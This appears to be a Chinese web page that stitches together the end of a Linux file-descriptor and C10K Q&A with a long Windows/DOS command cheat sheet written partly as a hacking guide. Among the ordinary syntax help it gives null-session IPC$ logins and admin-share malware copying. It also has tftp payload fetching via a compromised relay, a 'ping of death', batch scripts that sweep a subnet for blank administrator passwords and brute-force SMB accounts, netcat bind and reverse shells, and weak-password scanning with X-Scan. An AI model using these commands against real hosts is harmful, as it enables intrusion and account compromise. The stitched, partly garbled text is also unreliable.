还可以只真对某个用户或某个组做修改,具体方法参见文件注释。修改后需要重新启动系统才能生效。
问题七:linux 文件描述符 3是什么?例如 0 1 2代表标准的输出输入和出错,但是3,4又是什么的呢? 其他已经被打开的文件
问题八:文件描述符挂起是什么意思 具体操作,需要修改两处,并且需重新启动Linux服务器。首先SSH登录服务器,执行ulimit-a查看当前限制。这一步是可选,主要是看下限制,心里有数。第一处修改:vim/etc/security/limits.conf在文件尾部增加:*softnofile65535*hardno
问题九:有人了解java与linux文件描述符之间的关系吗 linux文件描述符? 可以认为是linux下的任务管理中打开文件的索引表,是系统中使用的。。。。。。。java是一个平台、一种编程语言。。。。。。不知道要怎么比较了。
问题十:文件描述符fb和tcp连接数有什么关系 C10K的问题在上个世纪90年代就被提出来了。大概的意思是当用户数超过1万时,很多设计不良好的网络服务程序性能都将急剧下降、甚至瘫痪。并且,这个问题并不能通过升级硬件设备解决,是操作系统固有的问题,也就是说,如果你的服务器最高能支撑1000个并发,尽管你升级了计算能力高一倍的 cpu,内存再翻一番,硬盘转速在快一倍,也无法支撑2000个并发。
经典的网络编程模型有4个:
1. Serve one client with each thread/process, and use blocking I/O。即对每个客户都使用不同的线程或进程进行服务,在每个线程或进程中使用阻塞I/O。这是小程序和java常用的策略,对于交互式的应用也是常见的选择,这种策略很能难满足高性能程序的需求,好处是实现极其简单,容易实现复杂的交互逻辑。我们常用的Apache、ftpd等都是这种工作。
2. Serve many clients with single thread, and use nonblocking I/O and readiness notification。即对所有的客户使用单一一个线程或进程进行服务,在这个线程或进程里,采用异步IO的策略。这是经典模型,优点在于实现较简单,方便移植,也能提供足够的性能;缺点在于无法充分利用多CPU的资源。
3. Serve many clients with each thread, and use nonblocking I/O and readiness notification 对经典模型2的简单改进,仍然采用异步IO的策略,但对所有的客户使用多个线程或进程进行服务。缺点是容易在多线程并发上出bug,甚至某些OS不支持多线程进行readiness notification
4. Serve many clients with each thread, and use asynchronous I/O 在有AI/O支持的OS上,能提供相当高的性能。不过AI/O编程模型和经典模型差别相当大,基本上很难写出一个框架同时支持AI/O和经典模型。这个模型主要是用于window平台上。
最基础,最常用的DOS命令大全(不要长篇大论)
CMD命令查询大全
net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
net use h: [url=file://ip/c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view [url=file://ip/]\\ip[/url] 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at [url=file://ip/]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://mysql//bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://ip/ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://%251.%25%25G/]\\%1.%%G[/url] /user:***istrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
2、扫锚工具:xscan.exe
基本格式
xscan -host
[-
]
[其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file
[其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器,
可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
DOS命令总共大约有一百个(包括文本编辑、查杀病毒、配置文件、批处理等),我们这里给你介绍20个常用的
1.dir
2.md
3.cd
4.rd
5.copy
6.del
7.ren
8.type
9.format
10.discopy
11.deltree
12.mem
13.chkdsk
14.sys
15.path
16.edit
17.cls
18.time
19.date
20.ver
========================
详细介绍
========================
1.dir
dir是英文单词directory(目录)的缩写,主要用来显示一个目录下的文件和子目录。
[功能]显示指定磁盘、目录中的文件和子目录信息,包括文件及子目录所在磁盘的卷标、文件与子目录的名称、每个文件的大小、文件及目录建立的日期时间,以及文件子目录的个数、所占用总字节数以及磁盘上的剩余总空间等信息。
[格式]dir[C:][path][filename][.ext][/o][/s][/p][/w][/a]
[说明]dir是DOS命令中最常用的一个。斜杠表示后面的内容是参数。DOS参数最常用的是以下四个:
/p
显示信息满一屏时,暂停显示,按任意键后显示下一屏
/o
排序显示。o后面可以接不同意义的字母
/w
只显示文件名目录名,每行五个文件名。即宽行显示
/s
将目录及子目录的全部目录文件都显示
2.md
md是英文makedirectory(创建目录)的缩写
[功能]创建一个子目录
[格式]md[C:]path
[举例]用md建立一个叫做purple的目录
3.cd
cd是英文changedirectory(改变目录)的缩写
[功能]改变或显示当前目录
[格式]cd[C:][path]
[说明]路径可以使用绝对路径和相对路径两种。如果只有cd而没有参数,则只显示当前路径。注意:子目录中一定有两个“特殊目录”,即“.”“..”,其中一点表示当前目录,两点表示上一层目录。从简单实用的角度来看,我们只要学会逐层进入(cd下一层某目录名),和逐层退出(cd..)就可以解决所有问题。当然也可以用绝对路径的办法。
[举例]进入我们刚才建立的purple目录
4.rd
removedirectory--删除目录
[功能]删除空子目录
[格式]rd[d:]path
[说明]rd是专门删除空子目录的命令。注意两条:一是不能删除非空目录;二是不能删除当前目录。
[举例]用rd删除purple这个目录
5.copy
copy在英文中是复制的意思
[功能]复制一个或一组文件到指定的磁盘或目录中
[格式]copy[C:][path][filename.ext][C:][path]filename.ext
[说明]复制文件命令基本用法是:“复制源文件名目标文件名”。如果只写目标路径而不写目标文件名,表示同名复制;否则称为换名复制。注意换名复制一般不要更改文件扩展名。
[举例]将C:\purple目录的所有文件复制到软盘,可以打如下命令,请注意当前盘与当前路径不同:
C:\>copypurpleA:\
如果目标盘上已有同名文件,会出现如下提示,“Overwritexxxx(Yes/No/All)”此时回答Y则覆盖当前文件,N则保留,A则覆盖此后的所有文件而不再提问。
6.del
del是英文delete(删除)的缩写
[功能]删除指定磁盘、目录中的一个或一组文件
[格式]del[C:][path]filename.ext
[说明]这个命令应小心使用。一旦被删除,将不易恢复。同样可以采用通配符为删除一类文件。当利用*.*时,为了安全将给出警告,确定方进行删除工作。删除过程如没有信息提示,表示已正确删除。
注意这个命令不能删除具有只读、隐含、系统属性的文件;如果指定文件不存在,则出现“Filenotfound”的提示;DOS对误删除的文件可以用UNDELETE外部命令恢复;它只能删文件,不能删目录。
7.ren
ren是英文rename(重新命名)的简写
[功能]对指定磁盘、目录中的一个文件或一组文件更改名称
[格式]ren[C:][path]filename1[.ext]filename2[.ext]
[说明]改名操作只限于某个文件某组文件的名称,它不会更改文件所在的目录。如果使用了通配符,则对一批文件进行更名。
8.type
[功能]在屏幕上显示文本文件内容命令
[格式]type[C:][path]filename.ext
[说明]type命令用来在屏幕上快速、简便地显示文本文件的内容,扩展名为TXT的文件是文本文件。如果用这个命令显示扩展名为EXE或COM等其它文件,输出的结果往往是一些乱七八糟的符号并伴有无规则的响铃声,有时甚至会出现死机现象。
9.format
[功能]磁盘格式化
[格式][C:][path]formatdrive:[/S]
[说明]厂家制造的各种磁盘可用来存储各种操作系统下的文件。不同操作系统的磁盘格式一般是不相同的,是不通用的。format命令就是使一个新的磁盘可以被DOS操作系统识别,即可存储DOS文件。
这个命令对磁盘的格式化过程,实际上是用DOS规定的信息存储格式对磁盘进行规划的过程。格式化磁盘时,要清除磁盘上已经存在的所有数据,在磁盘上写上引导记录,划分出文件分配表和根目录,同时,它还要找出磁盘上的所有坏扇区并作上不可使用的标记。命令参数我们这里只列出了一个:/S。当使用了这个参数后,磁盘格式化并装入操作系统文件,使之变成引导盘。相当于format后再进行下一命令:SYS。
10.discopy
diskcopy,翻译成中文就是磁盘复制
[功能]复制出一个和原来磁盘内容一模一样的磁盘
[格式]diskcopy源驱动器名目的驱动器名
[说明]它的主要用途就是用来备份。比如我们的电脑在刚买来时,会随机附带一些设备驱动程序磁盘,这些驱动程序在以后都有可能用到,为防止这些磁盘的损坏,一定要将它们都备份一套,这时,使用diskcopy命令是比较快捷和方便的。
11.deltree
[功能]删除目录树
[格式][C:][path]DELTREE[C1:][path1][[C2:][path2][…]]
[说明]这个命令将整个指定目录树全部消灭,而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。
12.mem
mem是memory的缩写
[功能]该命令用来查看你的计算机内存有多少,以及内存的使用情况。
[格式]直接键入mem命令
13.chkdsk
chkdsk是checkdisk的缩写。
[功能]用来检查你的磁盘的使用情况。
[格式]chkdsk磁盘名
[说明]例如要检查A盘使用情况,就输入chkdskA:,检查c盘使用情况,就输入chkdskC:,如果直接输入chkdsk,就检查当前磁盘的使用情况。
14.sys
[功能]传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上,并将COMMAND.COM文件复制过去。完成后,目标盘成为DOS的启动盘。
[格式][C:][path]SYS[C1:][path]d2:
[说明]由于这几个文件需要复制到特定位置上,所以用COPY命令完成的复制未必能够启动机器。能过SYS命令,DOS可以将目标盘已占据特定位置的文件移动,并将系统文件复制到相应位置上。参数C1 path用来指明系统文件所在目录。如不指明,则缺省为当前盘的当前目录。所以这个命令一般要在源盘的根目录进行。
15.path
[功能]设定DOS寻找.COM、.EXE、.BAT文件的所在目录
[格式]path=[[drive:]path[;…]]或path
[说明]只打path没有参数时,只显示环境变量内容。有参数时,重新设置path变量。在没有指定path环境变量时,用户发出的命令,DOS首先判断其是否为内部命令,再查找当前目录中是否有主文件名是该命令的可执行文件,如果均不是,则显示信息“Badcommandorfilename”。如果发出了指定路径的命令,则在指定径中依次查找,仍找不到则出现上述提示。
16.edit
[功能]edit命令是一个简单的编辑软件,我们经常用它来编辑一些程序和批处理文件。
17.cls
[功能]清除显示器屏幕上的内容,使DOS提示符到屏幕左上角。
[格式]cls
18.time
[功能]显示和设置DOS的系统时间
[格式]time[hh[:mm[:ss[.cc]]]
19.date
[功能]显示和设置DOS的系统日期
[格式]date[MM-DD-YY]
20.ver
[功能]显示正在运行的DOS系统版本号
[格式]ver
六.其他常用的DOS命令
命令功能
attrib设置文件属性
ctty改变控制设备
defrag磁盘碎片整理
